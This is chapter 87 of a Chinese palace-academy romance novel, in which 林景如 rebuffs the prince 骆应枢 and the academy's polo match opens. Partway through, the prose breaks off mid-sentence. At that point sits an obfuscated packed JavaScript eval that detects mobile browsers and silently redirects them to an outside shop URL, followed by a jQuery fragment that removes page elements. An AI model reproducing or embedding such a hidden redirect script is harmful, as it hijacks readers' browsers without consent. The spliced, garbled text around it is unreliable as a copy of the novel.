87. 第 87 章

作品:《惹权贵

    她抬眸,语气仍是冷的,字句却锋利如刃:


    “殿下若是无话可说,大可不说,还是说……殿下此前未被人拂过面子,自以为随口许一个前程、赏几锭金银,便是天大的恩赐?如今被我驳了两回,便挂不住脸面,这才日日来寻我的不痛快?”


    她话说的直白,却精准地说出了骆应枢这段时日的心路历程。乍然被她说中了心思,骆应枢脸上那点闲散笑意倏然敛尽。


    他眼底沉了下去,面色也冷了三分。


    “你未免太高看自己了。”


    “天底下比你聪明的人多的是,但现在看来,你也不过如此。连盛兴街是谁在背后做手脚都理不清,也敢这般与本世子说话?”


    “那便不劳殿下操心了。”


    林景如回得极快,语气淡得像在说今日天色尚好。当真是话不投机半句多,仿佛方才短暂的和谐都是错觉。


    骆应枢没再接话。


    他只是看着她,目光沉沉。脑海中,方才她对方子游那副耐心回护的模样还晃来晃去。


    她对谁都可以这样和颜悦色、重情重义。唯独对他,从始至终,只余防备与冷眼。


    他原是不在乎这些的,于他来说,这人这样不识趣儿,也算不得什么要紧的人。


    可此刻,那口气堵在喉间,咽不下去,也吐不出来。


    他蓦然开口,带着几分怒意与未察觉的质问:“你对什么人都这样重情重义?在你眼中本世子便是一个喜怒无常、不可理喻之人?!”


    林景如想也没想,反问道:“难道不是吗?”


    她答得平静,像在陈述一件无需争辩的事实。


    骆应枢脸色蓦然绷紧,眼底翻涌着压不住的风暴。


    林景如眉目不动,静静等着他发作,也做好了应对之策。


    可不知为何,他没有。


    他只是狠狠盯着她看了半晌,像是要将她这副铁石心肠的模样刻进眼底。然后……猛地拂袖离去。


    那道靛蓝的背影步履极快,衣袍在空气中肆意翻飞。


    林景如站在原地,静静注视着那道身影,实在不明白这位爷此番来找她,究竟是所为何事?


    难道,真的只是来寻自己的不痛快?


    可若说是寻她不痛快,倒像是专门送上门来,让她刺得更不痛快些。


    林景如站在角落,眼睑低垂,眉宇间多了几分沉思。


    她尚且还在细思骆应枢这一趟的目的,但未等她深思,便听到一阵急促的脚步声。抬眼看去,便见方子游从校场外跑来,大口喘着粗气。


    他跑的满头是汗,也不知是从何处而来,在她面前停下后,左右看了看,面露疑惑:“世子呢?怎么不见吗?”


    “赛事即将开始,他已经离开了。”她说完,看向正在抹汗的方子游,他手中还拿着一个沉甸甸的银袋子,绣纹精致,看着就价值不菲。


    “可他要的我还没给他……”


    见他还惦记着这事,林景如心头无奈又再次泛了上来:“世子向来爱说些戏言,不必当真,收回去吧。”


    “怎会?”方子游一脸不信,眼底多了两分迟疑,固执地摇了摇头,“我看世子不似这样的人。”


    他说完,又想起需要顾忌林景如的心情,为避免她误会,又急急解释道:“林兄,我并非不信你,我只是觉得,世子一言既出,驷马难追。既然当众说了,便该是算数的。”


    林景如动了动唇,终究没再说什么,不过对眼前之人的天真又多了几分认识。看他这样认真为自己奔忙的模样,反驳的那些话怎么也说不出口。


    罢了,由他去罢。


    “不过方才世子那脸色,我还真以为他会找你麻烦,着实吓了我一跳。”他抬手抚了抚胸口,松了一口气,脸上甚至还挂着几分后怕之意,下一刻却话锋一转,脸上带着几分掩饰不住的雀跃。


    “世子似乎并非传言那般专横不讲道理。你放心,只要这一百金给了他,日后你便再也不必受他摆布了。”


    他说得那样笃定,仿佛那一百金递出去,便能替她买来一世的清净。


    林景如侧头看他。


    晨光落在他脸上,眉眼干净,目光坦荡,没有半分犹豫。他是真的这样想,也真的以为,只需将那一百金奉上,便能替她挡下所有风雨。


    即便,其实她并不大需要,也不认为这一百金能将事情轻易解决。但她并没有拂他的心意,仍旧由衷地感激他的所作所为。


    “多谢。”林景如转头看他,神色认真,真诚地道谢。


    自打她十一岁来书院求学,这期间遇见过形形色色的人,有类似于施明远这样难缠的人,也有像是曲思良、方子游这样,捧着一颗真心不知该往哪里放的。


    但总归是善意多恶意少。


    两人话还没说完,远远的,便听见校场那头传来了一声呼喊:“林兄!”


    林景如抬目望去,贺孚与几个同窗已然将马牵了出来,遥遥朝她招手,示意她过去。


    看了看东边的太阳已从山脊后探出半边脸,暖融融的天光洒下来,落在花草树木上,凝聚在叶梢的露珠,倒映着稀碎的光晕,仿佛能容下世间所有的好风景。


    林景如收回视线,与方子游一同朝校场中间走去,提点道:“方兄,切磋在即,你也快回去罢,说不得有人寻你。”


    她说得含蓄,这场比试看似是一场内部增强同窗之间的情谊的比赛,可谁不知道,每年重阳赛后,山长都会从场上挑几个擅武的好苗子,补入武班?


    一入武班,露脸的机会只会更多。


    内舍、外舍与上舍,人人都在暗中较着劲。


    方子游没听出她的玄外之言,点了点头,语气轻松道:“好,祝林兄旗开得胜!”


    话虽如此,但他心中却有另外一番打算。


    闻言,林景如步子一顿,心中又叹了口气,眼看比赛在即,也分不出其他心思管他。


    将那些杂七杂八的念头暂且抛之脑后,站在众人外围,倾耳听着被围在中心位置的贺孚的安排。


    随着日头的升起,校场上的人也逐渐多了起来,三三两两地聚在一起,低声交谈着。


    也有人因为不是马球的学子,自发帮着布置场地,搬案几、拉帷帐、清扫跑道,忙得不亦乐乎。


    不过半


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178029|192531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个时辰,校场上便被布置一新。


    西南方的高台之上,几张案几依次排开,团蒲安放齐整,茶水点心已都摆上,连笔墨纸砚也体贴地备好了。


    高台之下,亦设了数排案几与团蒲,那是给各舍学子预备的位置,按内、外、上三舍分列,泾渭分明。


    贺孚还在与众人说着战术,其实都是演练过无数遍的东西,无非是互相鼓劲罢了。林景如有一搭没一搭地听着,思绪还悬在半空未曾落定。


    忽然有人喊了一声:“山长与诸位夫子来了!”


    她跟着众人朝校场门口看去。


    岑文均一袭灰色长袍,衣袂当风,面色端肃,带着书院一众夫子缓步而来。所过之处,学子纷纷垂首行礼,两侧自动让出一条道来。


    按照惯例,马球赛须得山长亲发号令,方可开赛。只是眼下还未到时辰,尚有几位以书院名义邀请的贵宾未至,倒也不急。


    林景如的目光掠过岑文均身侧——高台上,那几张空着的案几,是为今日的贵客准备的。


    众人很快收回目光,各自又忙活去了。


    莫约一炷香后,小童急匆匆跑来,在岑文均耳边低语了几句。岑文均点了点头,起身带着一众夫子步下高台,朝校场门口迎去。


    不多时,温奇携着江陵几位主事官员走了进来。远远望见岑文均,温奇便加快步子,抢上前来抱拳致意:


    “老师,学生来迟了,怎敢劳您来迎。”


    岑文均也曾在国子监任教多年,门生遍布朝堂,温奇便是其中之一。即便他已致仕多年,这份师徒之谊却从未淡去。


    岑文均摆了摆手,返回高台,指向左手边的下座,神色较之方才缓和许多:“你事务繁忙,这个时辰来,刚刚好。”


    “没耽误正事便好。”温奇在他身侧落座,声音压低了些,带着几分身为弟子的亲近,“若误了今日的盛事,学生可真不知该如何向这些年轻学子交代了。”


    话虽说得谦逊,却是恰到好处的场面话——毕竟当着这么多人的面,该有的礼数不能少。


    待几位官员坐定,岑文均看了看天色,缓缓起身,朝场中众人扬声开口:


    “初秋已至,又逢重阳。今日天朗气清,惠风和畅,恰是我麓山书院一年一度马球盛会。”


    他立于高台之上,声音沉厚,不必刻意拔高,便能让满校场的人都听得真切。


    “此赛之意,不在争胜,而在强健体魄、砥砺心志,在展我麓山学子之风骨。尔等当以平安为先,不可逞强斗狠,不可罔顾性命……”


    洋洋洒洒的一番话,将马球赛的意义、渊源、历来期许尽数道来,末了又勉励各舍学子几句,这才收了尾。


    场下众人听得心不在焉,这话年年都是这一套,早就烂熟于心了。一个个眼巴巴盯着他手里的锣槌,只等那一声响。


    “切记:身体要紧,比赛次之。”


    岑文均终于说完最后一句,接过主事学子递来的锣槌,重重击向铜锣。


    “哐——!”


    一声巨响响彻校场,余音悠悠荡开,传至每一个角落。


    “比赛开始!”